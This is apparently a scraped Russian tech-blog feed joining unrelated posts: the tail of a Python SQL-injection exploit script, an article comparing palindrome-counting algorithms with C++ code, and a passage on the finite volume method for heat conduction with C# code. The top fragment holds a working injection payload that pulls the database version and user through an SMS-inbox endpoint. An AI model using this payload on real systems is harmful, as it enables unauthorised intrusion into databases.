                payload="\xD0\x91\xD0\xB0\xD0\xBB\xD0\xB0\xD0\xBD\xD1\x81: aaaa',pwd=(select concat_ws(0x3a,version(),user())) WHERE id="+str(id)+" -- 1\xD1\x80."
        values = { 'bid': '111111111','sms_mode': '1', 'number': '900', 'text': payload}
        data = urllib.urlencode(values)
        req = urllib2.Request(target+'/controller.php?mode=setSaveInboxSms', data)
        response = urllib2.urlopen(req)
        register(target, 'result')

if len(sys.argv)>1:
        print 'Ur target is:'+sys.argv[1]
        print register(sys.argv[1], None)
else:
        print 'usage: exploit.pl <http://local.ru/>'


This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.

пятница, 29 января 2016 г.

[Из песочницы] Алгоритмы для поиска палиндромов

image

Сегодня я хочу вам рассказать об алгоритмах подсчёта количества палиндромов в строке: для чего это нужно, где применяется, как это быстро сделать, какие подводные камни нас ожидают и многое другое. Рассмотрим различные способы для решения данной задачи, выясним плюсы и минусы каждого способа. Эта статья будет обзорной: если я что-то не описываю здесь, то постараюсь всегда дать вам набор ссылок, где всё подробно описано и расписано. Надеюсь, что материал будет интересен как новичкам в сфере алгоритмов, так и матёрым программистам. Что же, если я смог заинтересовать вас, то прошу под кат!
Для начала стоит вспомнить, что же такое палиндром.

Палиндро́м — число (например, 404), буквосочетание, слово или текст, одинаково читающееся в обоих направлениях. Иногда палиндромом называют любой симметричный относительно своей середины набор символов.(выдержка из Википедии)

Определение очень лёгкое и понятное. Мы в данном посте будем рассматривать палиндромы-слова(поп, кок и т.д.). Но это не значит, что алгоритмы неприменимы для иных ситуаций. Просто чуть сузим область.

Для чего может потребоваться искать палиндромы?

На самом деле, не очень то и часто приходится искать палиндромы в повседневной жизни. Уж больно специфичная это задача. Если говорить о строковых алгоритмах, то мы намного чаще встречаем тот же поиск подстроки в строке, чем нахождение количества палиндромов. Поэтому и освещение в литературе намного слабее.

Одно из основных применений — спортивное/олимпиадное программирование. Там задач на такое хватает. Задач понаписывают, а участникам уже думай, каким способом это решить. Из личного опыта скажу, что мне такие задачи встречались всего пару раз, но все они были из разряда «вот тебе задача, ты не думай, а просто напиши алгоритм». То есть не интересные задачи, которые развивают просто механическую память по набиванию алгоритмов.

А более практическое применение нахождения палиндромов — это биологические алгоритмы. Согласно всё той же Википедии и ссылкам снизу Вики, палиндромность биологических соединений играет важную роль на свойствах различных биологических соединений. Я в биологии слаб, поэтому если вам интересно, то вы можете найти более подробную информацию сами.

Отлично, мы выяснили, что мы будем заниматься не совсем бесполезными делами. Давайте же уже перейдем к рассмотрению алгоритмов!

Замечание: во всех нижеприведённых алгоритмах одиночный символ не считается за палиндром. Как вы понимаете, это легко поправить, если одиночные символы тоже нужно будет учесть.

0) Самый банальный алгоритм с асимптотикой O(N^3)

bool SlowN3::isPalindrom(int leftBorder, int rightBorder)
{
    while(leftBorder <= rightBorder)
    {
        if(str[leftBorder] != str[rightBorder])
        {
            return false;
        }
        ++leftBorder;
        --rightBorder;
    }
    return true;
}

long long SlowN3::operator ()()
{
    for(int leftBorder = 0;leftBorder < str.length(); ++leftBorder)
    {
        for(int rightBorder = leftBorder + 1; rightBorder < str.length(); ++rightBorder)
        {
            if( isPalindrom(leftBorder, rightBorder) )
            {
                ++cntPalindromes;
            }
        }
    }
    return cntPalindromes;
}


Хочу предупредить сразу, что все исходники будут на C++, и это будут значимые части классов, которые нам могут быть интересны.

Алгоритм самый что ни на есть «лоб»: имеется строка, есть указатель на начало подстроки данной строки, есть указатель на конец данной подстроки. В двух вложенных циклах перебираем границы подстрок и банально проверяем, является ли наша подстрока палиндромом. Ничего сложного.

Но это всё ужасно медленно работает. Почему? Да потому что мы квадрат от N раз (N у нас будет всегда длина строки) перебираем границы ткущей подстроки, а потом ещё и за O(N) в худшем случае выполняем проверку для каждой подстроки на палиндромность.

Плюсов у данного способа немного:

+ Легко реализуется. Действительно, оставить багу здесь ну очень сложно.
+ Легко читается. Вы только взглянули, и уже поняли, что да как здесь работает.
+ Малая скрытая константа. Как известно, на время работы алгоритма влияет не только асимптотическая оценка (здесь мы работаем только с худшими случаями), но и скрытая константа. У этого алгоритма скрытая константа крайне мала.

Минусы:

— Крайне малая скорость работы. Как вы можете видеть, что при строке из тысячи букв 'a' данный алгоритм сделает порядка 10^9 итераций, что есть очень плохо. А что если строка длиной 100000?

1) Самый банальный алгоритм с асимптотикой O(N^2)


Код:
void SlowN2::oddCount()
{
    for(int indMiddle = 0; indMiddle < str.length(); ++indMiddle)
    {
        int leftBorder = indMiddle - 1, rightBorder = indMiddle + 1;
        while(leftBorder >= 0 && rightBorder < str.length() && str[leftBorder] == str[rightBorder])
        {
            ++cntPalindromes;
            --leftBorder;
            ++rightBorder;
        }
    }
}

void SlowN2::evenCount()
{
    for(int indMiddle = 0; indMiddle < str.length(); ++indMiddle)
    {
        int leftBorder = indMiddle, rightBorder = indMiddle + 1;
        while(leftBorder >= 0 && rightBorder < str.length() && str[leftBorder] == str[rightBorder])
        {
            ++cntPalindromes;
            --leftBorder;
            ++rightBorder;
        }
    }
}


Здесь уже чуточку интереснее. У нас имеется строка, и два временных массива для палиндромов чётной и нечётной длины. А число в ячейке i массива будет хранить количество палиндромов в строке s(исходная строка) с центром в точке i. Для нечётной длины палиндрома центр находится легко, ну а для чётной мы просто чуть поиграемся с индексами и сместим чуточку центр(что видно в коде). Наш результат это есть сумма чисел из двух массивов.

Как видите, снова ничего сложного. Но работает это заметно быстрее предыдущего алгоритма. Почему? Давайте рассмотрим, как же оно всё работает.

Мы бежим по строке, перебирая центральный символ нашего потенциального палиндрома. А потом просто бежим влево и вправо от центрального элемента до тех пор, пока символы одинаковы. Как только они стали разными, это значит, что дальше не будет палиндромов с центром в нашем выбранном элементе, и переходим к следующему.

А работает это быстро на обычных строках очень быстро потому, что наш второй, вложенный цикл, который бежит до тех пор, пока крайние символы равны, обрывается крайне быстро(если предположить, что палиндромов в строке много меньше общего числа подстрок).

Рассмотрим плюсы и минусы способа.

Плюсы:

+ Всё также легко кодится. Ошибиться очень сложно.
+ Малая скрытая константа
+ Хорошо ведёт себя на случайных строках

Минусы:

— Всё ещё долгое время работы

После этого способа уже голова начинает думать-думать-думать. И тут идея! А что если мы модифицируем этот способ, только будем от центрального элемента прыгать не на 1 символ с каждой итерацией, а на чуточку больше? И тут нам на помощь приходят…

2) Используем хеши!


Этот способ чуточку сложнее, поэтому сразу приведу код, а потом постараюсь обьяснить, что за магия там творится(хотя магии нет, как вы сами прекрасно знаете):
inline long long Hash::getHash(int indLeft, int indRight) const
{
    return prefixHash[indRight] - (indLeft > 0 ? prefixHash[indLeft - 1] : 0);
}

inline long long Hash::getRevHash(int indLeft, int indRight) const
{
    return suffixHash[indLeft] - (indRight < suffixHash.size() - 1 ? suffixHash[indRight + 1] : 0);
}

void Hash::PrepareSimpleNumbers()
{
    if(str.length() > simpleNumbers.size())
    {
        size_t oldSize = simpleNumbers.size();
        simpleNumbers.resize(str.length());
        simpleNumbers[0] = 1LL;
        for(int i = oldSize; i < simpleNumbers.size(); ++i)
            simpleNumbers[i] = simpleNumbers[i - 1] * SimpleBase;
    }
}

void Hash::CountingPrefixHash()
{
    prefixHash[0] = str[0];
    for(int i = 1; i < prefixHash.size(); ++i)
    {
        prefixHash[i] = prefixHash[i - 1] + str[i] * simpleNumbers[i];
    }
}

void Hash::CountingSuffixHash()
{
    suffixHash[suffixHash.size() - 1] = str[str.length() - 1];
    for(int i = (int) str.length() - 2, j = 1; i >= 0; --i, ++j)
    {
        suffixHash[i] = suffixHash[i + 1] + str[i] * simpleNumbers[j];
    }
}

bool Hash::isPalindrome(int indLeft, int indRight) const
{
    return getHash(indLeft, indRight) * simpleNumbers[prefixHash.size() - indRight - 1] ==
           getRevHash(indLeft, indRight) * simpleNumbers[indLeft];
}

void Hash::CountingOdd()
{
    for (int i = 0; i < oddCount.size(); i++)
    {
        int indLeft = 1, indRight = min(i + 1, static_cast<int> (oddCount.size() - i));
        while (indLeft <= indRight)
        {
            int middle = (indLeft + indRight) / 2;
            if (isPalindrome(i - middle + 1, i + middle - 1))
            {
                oddCount[i] = middle - 1;
                indLeft = middle + 1;
            }
            else
            {
                indRight = middle - 1;
            }
        }
    }
}

void Hash::CountingEven()
{
    for (int i = 0; i < evenCount.size(); i++)
    {
        int indLeft = 1, indRight = min(i, static_cast<int> (evenCount.size() - i));
        while (indLeft <= indRight)
        {
            int middle = (indLeft + indRight) / 2;
            if (isPalindrome(i - middle, i + middle - 1))
            {
                evenCount[i] = middle;
                indLeft = middle + 1;
            }
            else
            {
                indRight = middle - 1;
            }
        }
    }
}

long long Hash::operator()()
{
    PrepareSimpleNumbers();
    CountingPrefixHash();
    CountingSuffixHash();
    CountingOdd();
    CountingEven();
    for(int i = 0; i < str.length(); ++i)
    {
        cntPalindromes += oddCount[i] + evenCount[i];
    }
    return cntPalindromes;
}


Краткая суть данного способа: мы перебираем центральный элемент нашего палиндрома, и потом дихотомией стараемся найти наибольший радиус нашего палиндрома (под радиусом здесь понимается расстояние от центрального элемента до крайнего, если у нас палиндром чётной длины, то просто добавим чуточку игры с индексами, чтобы всё работало). Во время подбора мы должны как-то быстро сравнивать подстроки на идентичность. делаем это с помощью хешей. Асимптотика, как легко догадаться: N тратим на перебор центрального элемента, logN в худшем случае тратим на подбор радиуса палиндрома, за единицу сравниваем подстроки с помощью хешей. Итого имеем O(NlogN), что очень даже неплохо на самом деле.

Теперь чуть подробнее остановимся на данном методе.

На чём основывается наш метод? Так как мы перебираем центральный элемент, а потом дихотомией подбираем радиус наибольшего палиндрома с центром в данном элементе, то мы должны быстро брать хеш левой части нашего потенциального палиндрома и сравнивать его с хешем правой части нашего потенциального палиндрома.

Как это сделать? Давайте предварительно рассчитаем хеш для каждого префикса и суффикса исходной строки. В коде это у нас делают методы CountingPrefixHash() и CountingSuffixHash() соответственно.

С помощью методов getHash() и getRevHash() мы можем быстро получить хеши левой и правой частей рассматриваемого на данном этапе потенциального палиндрома. Тут может возникнуть вопрос, почему нельзя воспользоваться одной и той же функцией подсчёта хеша для левой и правой частей. А всё потому, что мы при проверке на палиндромность левую часть мы читаем слева направо, а вторую справа налево. И нам необходимо поддерживать хеш слева направо и справа налево.

Осталась единственная сложность: как сравнить этих 2 хеша? И эту проблему мы решаем с помощью метода isPalindrome(), который приводит хеши к одному основанию и сравнивает их.

Результатом каждой итерации у нас будет количество палиндромов с центром i. Пробегаемся 2 раза для палиндромов чётной и нечётной длины, ответ на нашу задачу есть сумма всех значений массивов oddCount и evenCount

Более подробно про данный метод вы можете почитать в этой статье.

Плюсы:

+ Асимптотически мы снизили до NlogN, что не может не радовать. Если брать только худшие случаи, то в теории когда-нибудь мы выиграем

Минусы:

— Довольно тяжело пишется. Легко посеять багу. Нужна немного теоретическая подготовка в области хешей.
— Медленно работает на случайных тестах. Вы можете сами в этом убедиться. А всё из-за большой скрытой константы и из-за того, что даже если у нас нет ни одного палиндрома с центром в данном элементе, то алгоритм сделает logN прыжков, а это всё занимает время.
— Коллизии. Как вы видите, в моём исходнике используется хеш, который обычно пишут на олимпиадах по программированию(да-да, я немного этим когда-то занимался). Так вот, на соревнованиях данный способ показывает себя хорошо. Лично у меня коллизии не случались. Но я знаю про способы спокойно данный хеш завалить(в частности способ с использованием строк Туэ-Морса). Я когда-то слышал, что есть какой-то фиббоначиевый хеш, который вроде бы не ломается на данном тесте, но информация недостоверная. Так что будьте осторожны с коллизиями.

А если мы хотим 100% решение без всякой там коллизийной поправки и ввода хеша по другому основанию и так далее?

3) Алгоритм Манакера


Код:
//Find palindroms like 2*N+1
void Manacker::PalN2()
{
    int leftBorder = 0, rightBorder = -1, tempMirror;//start digits for algortihm
    for(int i = 0; i < str.length(); ++i)
    {
        tempMirror = (i > rightBorder ? 0 : std::min(ansPalN2[leftBorder + rightBorder - i], 
                                                                            rightBorder - i)) + 1;//find mirror of current index
        while(i + tempMirror < str.length() && i - tempMirror >= 0 && 
                 str[i - tempMirror] == str[i + tempMirror])//increase our index
        {
            ++tempMirror;
        }
        ansPalN2[i] = --tempMirror;
        if(i + tempMirror > rightBorder)//try to increase our right border of palindrom
        {
            leftBorder = i - tempMirror;
            rightBorder = i + tempMirror;
        }
    }
}

void Manacker::Pal2()
{
    int leftBorder = 0, rightBorder = -1, tempMirror;
    for(int i = 0; i < str.length(); ++i)
    {
        tempMirror = (i > rightBorder ? 0 : std::min(ansPal2[leftBorder + rightBorder - i + 1],
                                                                            rightBorder - i + 1)) + 1;
        while(i + tempMirror - 1 < str.length() && 
                  i - tempMirror >= 0 && str[i - tempMirror] == str[i + tempMirror - 1])
        {
            ++tempMirror;
        }
        ansPal2[i] = --tempMirror;
        if(i + tempMirror - 1 > rightBorder)
        {
            leftBorder = i - tempMirror;
            rightBorder = i + tempMirror - 1;
        }
    }
}


Итак, мы получили с помощью хешей алгоритм за NlogN. Но хочется быстрее. Хочется чего-то линейного. И тут нам на помощь спешит Алгоритм Манакера (по ссылке вы также можете видеть реализацию алгоритма на Java), который мало того, что линеен, так ещё и обладает крайне малой скрытой константой, что положительно сказывается на его скорости работы. Подробно описывать способ я не буду, так как это получится пересказ этой замечательной ссылки (я сам учил алгоритм именно по этой ссылке). Здесь я приведу слегка пересказанное объяснение.

Алгоритм заключается в том, что мы обрабатываем строку символ за символом, поддерживая самый правый палиндром в нашей строке. И на каждой итерации смотрим, наш текущий элемент находится внутри границ самого правого палиндрома или нет. Если находится, то мы можем извлечь ответ из ранее посчитанных значений, путём нехитрых манипуляций с индексами. Если же не находится, то мы идём точно таким же алгоритмом, который описан в пункте 1) этого обзора: идём символ за символом и сравниваем зеркальные элементы относительно центра. Идём до тех пор, пока они равны. И не забываем обновить после этого границы самого правого найденного палиндрома. Это вкратце. Про некоторые подводные камни вы можете почитать в приведённой статье.

Что ещё интересного: во всех задачах, которые я решал на контестах (по олимпиадному программированию), хватало именно этого алгоритма. Очень просто пишется, если ты его писал N раз дома и уже знаешь наизусть.

Плюсы:

+ Довольно короткий код.
+ Очень быстро работает. Мало того, что асимптотика O(N), так ещё и малая скрытая константа.

Минусы:

— Идея не такая простая, чтобы самому сходу придумать данный алгоритм
— Можно запутаться во всяких индексах, если проявить невнимательность при написании кода

А есть ли другие способы решить данную задачу за линейное время?

4) Дерево палиндромов


Немного предыстории. Эту относительно новую структуру данных открыл Михаил Рубинчик rumi13 и представил её на Петрозаводских сборах. Структура крайне интересная своей с одной стороны простотой, а с другой тем, что позволяет быстро решать довольно широкий спектр задачи про палиндромы. И самое главное — позволяет довольно просто считать количество палиндромов в строке за O(N) (но само дерево палиндромов думаю придумывалось далеко не для этого, а для более серьёзных задач с палиндромами).

Код:

PalindromicTree::PalindromicTree(const std::string& s) : FindPalindrome(s)
{
    initTree();
}

PalindromicTree::~PalindromicTree()
{
    for(int i = 0;i < pullWorkNodes.size(); ++i)
    {
        delete pullWorkNodes[i];
    }
}

void PalindromicTree::initTree()
{
    root1 = new Node;
    root1->len = -1;
    root1->sufflink = root1;
    root2 = new Node;
    root2->len = 0;
    root2->sufflink = root1;
    suff = root2;
    pullWorkNodes.push_back(root1);
    pullWorkNodes.push_back(root2);
}

void PalindromicTree::findAddSuffix(Node* &cur, int pos, int& curlen)
{
    while (true)
    {
        curlen = cur->len;
        if (pos - 1 - curlen >= 0 && str[pos - 1 - curlen] == str[pos])
        {
            break;
        }
        cur = cur->sufflink;
    }
}

void PalindromicTree::makeSuffixLink(Node* &cur, int pos, int& curlen,int let)
{
    while (true)
    {
        cur = cur->sufflink;
        curlen = cur->len;
        if (pos - 1 - curlen >= 0 && str[pos - 1 - curlen] == str[pos])
        {
            suff->sufflink = cur->next[let];
            break;
        }
    }
}

void PalindromicTree::addLetter(int pos)
{
    Node* cur = suff;
    int let = str[pos] - 'a', curlen = 0;
    findAddSuffix(cur, pos, curlen);
    if (cur->next[let] != nullptr)
    {
        suff = cur->next[let];
        return;
    }
    suff = new Node;
    pullWorkNodes.push_back(suff);
    suff->len = cur->len + 2;
    cur->next[let] = suff;
    if (suff->len == 1)
    {
        suff->sufflink = root2;
        suff->num = 1;
        return;
    }
    makeSuffixLink(cur, pos, curlen, let);
    suff->num = 1 + suff->sufflink->num;
}

long long PalindromicTree::operator ()()
{
    for (int i = 0; i < str.length(); ++i)
    {
        addLetter(i);
        cntPalindromes += suff->num - 1;
    }
    return cntPalindromes;
}


Опять же, перескажу вкратце суть данного алгоритма. С более подробным разъяснением вы можете ознакомиться в этой замечательной статье.

Итак, идея дерева. В вершинах нашего дерева будут находиться только сами палиндромы: 'a', 'b', 'aba' и так далее. Понятно, что сам палиндромы мы не будем хранить, а просто будем хранить из какой вершины мы пришли сюда, и какой символ с двух сторон добавили. Также у нас существуют две фиктивные вершины для удобной реализации алгоритма.

Но как и в любом интересном дереве, у нас также существуют суффиксные ссылки. Суффиксная ссылка будет вести в вершину, которая также является палиндромом (ну потому что у нас в вершинах хранятся только палиндромы) и которая является наибольшим собственным суффиксом данной вершины. То есть из вершины 'aba' ссылка будет вести в вершину 'a'.

Далее, мы по очереди добавляем символы в дерево по одному. И благодаря хитрому устройству дерева и рекурсивной операции добавления (а также суффиксным ссылкам, по которым осуществляется переход), мы обновляем всё дерево.

Это вкратце, подробнее почитайте информацию по ссылке выше (если не боитесь английского)

Плюсы:

+ Если Вы ранее работали с деревьями, то вам будет очень просто понять данную идею.
+ Позволяет решать большой спектр задач на палиндромы

Минусы:

— Работает медленнее, чем алгоритм Манакера.
— Можно поставить багу. Но, чисто субъективно, тут это сделать сложнее, чем в том же алгоритме Манакера.

Также стоит упомянуть, что с помощью деревьев существует ещё одно решение данной задачи. Оно заключается в использовании суффиксного дерева и быстрого алгоритма LCA(который работает за препроцессинг O(N) и ответ на запрос O(1). Алгоритм Фарах-Колтон-Бендера). Но он на практике не применяется, так как довольно сложен и у него крайне большая скрытая константа. Представляет скорее академический интерес.

На этом мы завершим наш обзор. Надеюсь, что вы почерпнули для себя хоть что-то новое и вам было хоть чуточку интересно! Все исходники вы можете найти в моём публичном репозитории на Github.

P.S.: Если вы заметили какие-то опечатки, неточности или у вас есть дополнения — прошу отписываться в комментариях и писать в ЛС.
P.P.S.: Смело задавайте вопросы в комментариях — постараюсь ответить, если хватит моей компетенции.

Полезные ссылки, которые могут быть вам интересны после прочтения данной статьи (некоторые ссылки могут повторяться, так как могли проскакивать в самой статье):

0) Что такое палиндром
1) Алгоритм Манакера: Вики, Codeforces, e-maxx
2) Немного про хеши и их применение: e-maxx, Habrahabr
3) Обсуждение про завал хешей на Codeforces: тыц
4) Строки (слова) Туэ-Морса: раз, два
5) Статьи про дерево палиндромов: хорошее описание, codeforces
6) Вот ещё цикл статей про поиск чисел-палиндромов: Хабр

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.

Метод Finite Volume — реализация на примере теплопроводности

В статье описывается реализация известного метода конечных объемов для численного решения уравнений в частных производных.Используется разбиение области на любые стандартные элементы(конечные объемы) — треугольники, четырехугольники и т.д.Метод визуализации результатов расчетов также самописный.

Метод Finite Volume (FVM)


В основе метода лежит разбиение области на непересекающиеся контрольные объемы(элементы), узловые точки, в которых ищется решение.Узловые точки находятся в центрах контрольных объемов.Также, как и для метода конечных разностей, для каждого элемента составляется уравнение, получается система линейных уравнений.Решая ее — находим значения
искомых переменных в узловых точках.Для отдельного элемента уравнение получается путем интегрирования исходного дифф уравнения по элементу и аппроксимации интегралов.

Термин конечный объем в статье будет часто заменятся на Элемент, будем для удобства считать их эквивалентами (элемент в данной статье не имеет ничего общего с методом конечных элементов).

Есть 2 различных способа решения задачи по FVM:
1) грани контрольного объема совпадают с гранями элемента
2) грани контрольного объема проходят через центры граней элементов(на которые разбита область).Искомые переменные хранятся в вершинах этих элементов.Вокруг каждой вершины строится контрольный объем. Для непрямоугольной сетки этот способ имеет еще 2 подвида.


Мы будем использовать способ 1) с контрольными объемами совпадающими с элементами на которые разбита область.

Некоторые плюсы FVM:

  • сохранение основных величин по всей области, таких как энергия системы, масса, тепловые потоки и тд.Причом это условие выполняется даже для грубой расчетной сетки
  • высокая скорость расчета.Многие расчетные величины можно вычислить при разбиении области на элементы, и вычислять их на каждом шаге по времени нет необходимости.
  • легкость использования для задач со сложной геометрией и криволинейными границами.Легкость использования разных геометрических типов элементов — треугольники, полигоны.

Метод FVM реализуем на примере уравнения теплопроводности:

Итак основные шаги при реализации FVM:
  1. Перевод дифф уравнения в форму пригодную для FVM — интегрирование по контрольному объему
  2. Составление дискретного аналога, выбор способа перевода производных и других подынтегральных выражений в дискретную форму
  3. Получение уравнения для каждого из контрольных объемов, на которые разбита область.Составление системы линейных уравнений и ее решение.

Дискретизация по времени.


Для производной по времени используем стандартный простейший метод Эйлера.Это будет явная схема по времени, где берутся искомые с предыдущего шага.А на первом шаге задаются как начальные условия.

Немного теории или первый шаг в реализации FVM


Используя теорему о дивергенции интеграл по объему преобразуется в интеграл по площади.Смысл в том что интегрирование по всему внутреннему объему нашего элемента мы заменяем на интегрирование только по поверхности этого объема.Эта формулировка больше подходит для 3D случая.Для 2D у нас будет вместо объема V — площадь элемента, а вместо S — периметр элемента.Тоесть получается что интеграл по площади заменяется интегралом по периметру.Фактически у нас понижается степень производной.Если например была вторая производная то остается только первая, если была первая — то вместо производной будет искомая переменная.Надо только не забывать что имеем дело не с обычной производной а с дивергенцией.
Итак второй терм в нашем уравнении после интегрирования преобразуется так:

FVM на стандартной прямоугольной сетке



На рисунке изображен Элемент С и его соседние элементы справа(E), слева(W), сверху(N) и снизу(S).У элемента С есть 4 грани обозначенные буквами e w n s.Именно эти 4 грани и составляют периметр элемента и по ним производится интегрирование.Для каждого элемента в результате получаем дискретный аналог исходного дифф уравнения.

Составим дискретный аналог для элемента С.Для начала нужно разобраться с интегралом (3).Интеграл это ведь по факту сумма.Поэтому мы и заменяем интеграл по всей поверхности элемента, на сумму по 4-м составляющим этой поверхности, тоесть 4 граням элемента.


Индексы e w n s здесь обозначают что выражение или переменная вычисляется в центре соответствующей грани.
Теперь соберем вместе полученные упрощения частей исходного дифф уравнения — термы (2) и (4).Получим первую ступень аппроксимации:

Теперь нам осталось только до конца аппроксимировать (4), поскольку туда входит градиент, его то нам и надо перевести в численную форму.Фактически эта сумма представляет сумму потоков тепла через грани.Наш случай упрощается для прямоугольной сетки, т.к у нормали к грани остается только 1 компонент — либо вдоль оси х либо вдоль y.
Разберем подробно этот процесс на примере грани e.

Теперь подставим вместо суммы в уравнении (5) полученные дискретные аналоги для 4-х граней:

Уравнение (7) и есть конечное уравнение для элемента С, из него мы на каждом шаге по времени получаем новое значение температуры (Tnew) в элементе С.

Граничные условия на прямоугольной сетке


На рисунке показан элемент С у которого грань e находится на границе и значения температуры на этой грани известны — либо как заданная температура либо как заданный поток тепла через грань.

Мы рассмотрим только 2 вида граничных условий.
  1. Задана температура Tb на границе
  2. Задан поток FluxB на границе, рассмотрим только случай когда FluxB=0, т.е. грань e будет теплоизолирована(Insulated)

Случай 2) самый простой, поскольку получается что грань e не потребуется при дискретизации(т.к. все коэффициенты Flux=0) и можно ее просто пропустить.

Теперь рассмотрим случай 1).Дискретизация грани e будет в целом похожа на ту что уже была описана.Будут только 2 изменения — вместо Te будет известное граничное значение Tb и вместо расстояния DXe будет DXe/2.В остальном можно рассматривать значение Te так, как будто это был бы обычный соседний узел E.Теперь подробнее распишем терм для граничного элемента С.


Пример численных расчетов на прямоугольной сетке


В качестве примера рассмотрим область разбитую на 9 элементов, сетка 3*3.На первых слайдах применены следующие граничные условия: по 3 сторонам температура T=0, снизу задана температура T=240.На второй строке слайдов по бокам заданы граничные условия с потоком Flux=0, сверху T=0, снизу T=240.По каждому случаю 2 картинки, одна с разбивкой области 3*3 элемента, вторая 40*40.
Код расчетов для обоих случаев (в исходниках называется heat2dminimum )
        public void RunPhysic()
        {
            double Tc, Te, Tw, Tn, Ts;
            double FluxC, FluxE, FluxW, FluxN, FluxS;
            double dx = 0;
            double Tb = 240;
            double Tb0 = 0;

            int i, j;
            for (i = 0; i < imax; i++)
                for (j = 0; j < jmax; j++)
                {
                    Tc = T[i, j];
                    dx = dh;

                    if (i == imax - 1) { Te = Tb0; dx = dx / 2; }
                    else
                        Te = T[i + 1, j];
                    FluxE = (-k * FaceArea) / dx;

                    if (i == 0) { Tw = Tb0; dx = dx / 2; }
                    else
                        Tw = T[i - 1, j];
                    FluxW = (-k * FaceArea) / dx;

                    if (j == jmax - 1) { Tn = Tb0; dx = dx / 2; }
                    else
                        Tn = T[i, j + 1];
                    FluxN = (-k * FaceArea) / dx;

                    if (j == 0) { Ts = Tb; dx = dx / 2; }
                    else
                        Ts = T[i, j - 1];
                    FluxS = (-k * FaceArea) / dx;

                    FluxC = FluxE + FluxW + FluxN + FluxS;

                    T[i, j] = Tc + delt * (FluxC * Tc - (FluxE * Te + FluxW * Tw + FluxN * Tn + FluxS * Ts));
                }


        }
        //Insulated
        public void RunPhysic2()
        {
            double Tc, Te, Tw, Tn, Ts;
            double FluxC, FluxE, FluxW, FluxN, FluxS;
            double dx = 0;
            double Tb = 240;
            double Tb0 = 0;

            int i, j;
            for (i = 0; i < imax; i++)
                for (j = 0; j < jmax; j++)
                {
                    Tc = T[i, j];
                    dx = dh;

                    Te = 0; Tw = 0;
                    if (i == imax - 1)
                        FluxE = 0;
                    else
                    {
                        Te = T[i + 1, j];
                        FluxE = (-k * FaceArea) / dx;
                    }

                    if (i == 0)
                        FluxW = 0;
                    else
                    {
                        Tw = T[i - 1, j];
                        FluxW = (-k * FaceArea) / dx;
                    }

                    if (j == jmax - 1) { Tn = Tb0; dx = dx / 2; }
                    else
                        Tn = T[i, j + 1];
                    FluxN = (-k * FaceArea) / dx;

                    if (j == 0) { Ts = Tb; dx = dx / 2; }
                    else
                        Ts = T[i, j - 1];
                    FluxS = (-k * FaceArea) / dx;

                    FluxC = FluxE + FluxW + FluxN + FluxS;

                    T[i, j] = Tc + delt * (FluxC * Tc - (FluxE * Te + FluxW * Tw + FluxN * Tn + FluxS * Ts));
                }


        }





FVM в задачах со сложной геометрией


Здесь как раз проявляется преимущество FVM, где также, как и в методе конечных элементов, можно представлять область с круглыми границами через разбиение на треугольники или любые другие полигоны.Но FVM имеет еще 1 плюс — при переходе от треугольников к полигонам с большим числом сторон не требуется абсолютно ничего менять, конечно если код был написан для произвольного треугольника а не равностороннего.Более того, можно без изменения кода использовать смесь разных элементов — треугольники, полигоны, квадраты и тд.

Рассмотрим общий случай, когда вектор соединяющий центры 2-х элементов не совпадает с вектором нормали к общей грани этих элементов.Вычисление потока flux через грань теперь будет состоять из 2-х частей.В первой будет расcчитываться ортогональная составляющая а во второй так называемая «кросс-диффузия».

На картинке изображены 2 элемента, С — текущий рассматриваемый элемент и F — соседний элемент.Опишем дискретизацию для грани, разделяющей эти 2 элемента.Вектор соединяющий центры элементов — DCF.Вектор e — это единичный вектор по направлению DCF.Вектор Sf — направлен по нормали к грани, его длинна равна длине грани.


Схема расчетов выглядит примерно так.

Второй терм здесь это кросс-диффузия, она будет тем больше, чем больше расхождение между векторами Ef и Sf, если они совпадают, то она равна 0.
Распишем сначала ортогональную часть(способ minimum correction).

В исходниках я не стал реализовывать терм с кроссдиффузией, т.к встал вопрос — как проверить корректность такой реализации.Визуально сравнение результатов Матлаб и моих ничем не отличалось в отсутствии кросс-диффузии.Видимо это связано с тем что Матлаб любит треугольники близкие к равносторонним, что в итоге делает кроссдиффузию=0.Возможно позже еще вернусь к этому вопросу.

Расчет граничных элементов ничем не отличается от расчетов не на границе, вместо центра соседнего элемента берется центр грани, ну и как обычно подставляется температура на границе.
В моей реализации в итоге получается так:


Код расчетов для произвольного полигона (в исходниках называется heat2PolyTeach )
        public void Calc()
        {

            double bc, ac;
            double sumflux;
            double[] aa = new double[6];
            double[] bb = new double[6];

            int e;
            for (e = 0; e < elementcount; e++)
            {
                Element elem = elements[e];
                int nf;
                bc = 0;
                ac = 0;
                sumflux = 0;
                for (int nn = 0; nn <6; nn++)
                {
                    aa[nn] = 0;
                    bb[nn] = 0;
                }
                for (nf = 0; nf < elem.vertex.Length; nf++)
                {
                    Face face = elem.faces[nf];
                    Element nb = elem.nbs[nf];

                    if (face.isboundary)
                    {
                        if (face.boundaryType == BoundaryType.BND_CONST)
                        {
                            double flux1;
                            double flux;
                            flux1 = elem.k * (face.area / elem.nodedistances[nf]);
                            Vector2 Sf = face.sf.Clone();
                            Vector2 dCf = elem.cfdistance[nf].Clone();
                            if (Sf * dCf < 0)
                                Sf = -Sf;
                            //1) minimum correction
                            //Vector2 DCF = elem.cndistance[nf].Clone();
                            Vector2 e1 = dCf.GetNormalize();
                            Vector2 EF = (e1 * Sf) * e1;
                            flux = elem.k * (EF.Length() / dCf.Length());

                            ac += flux;
                            bc += flux * face.bndu;
                            bb[nf] = flux;

                        }
                        else if (face.boundaryType == BoundaryType.BND_INSULATED)
                        {
                            double flux;
                            flux = 0;

                            ac += flux;
                            bc += flux * face.bndu;
                            bb[nf] = flux;
                        }
                    }
                    else
                    {
                        double flux1;
                        double flux;
                        flux1 = -elem.k * (face.area / elem.nodedistances[nf]);
                        Vector2 Sf = face.sf.Clone();
                        Vector2 dCf = elem.cfdistance[nf].Clone();
                        if (Sf * dCf < 0)
                            Sf = -Sf;
                        Vector2 DCF = elem.cndistance[nf].Clone();
                        Vector2 e1 = DCF.GetNormalize();
                        //corrected flux
                        //1) minimum correction
                        Vector2 EF = (e1 * Sf) * e1;

                        flux = -elem.k * (EF.Length() / DCF.Length());

                        sumflux += flux * nb.u;
                        ac += -flux;
                        aa[nf] = -flux;

                    }

                }
                elem.u = elem.u + delt * (bc - sumflux - ac * elem.u);


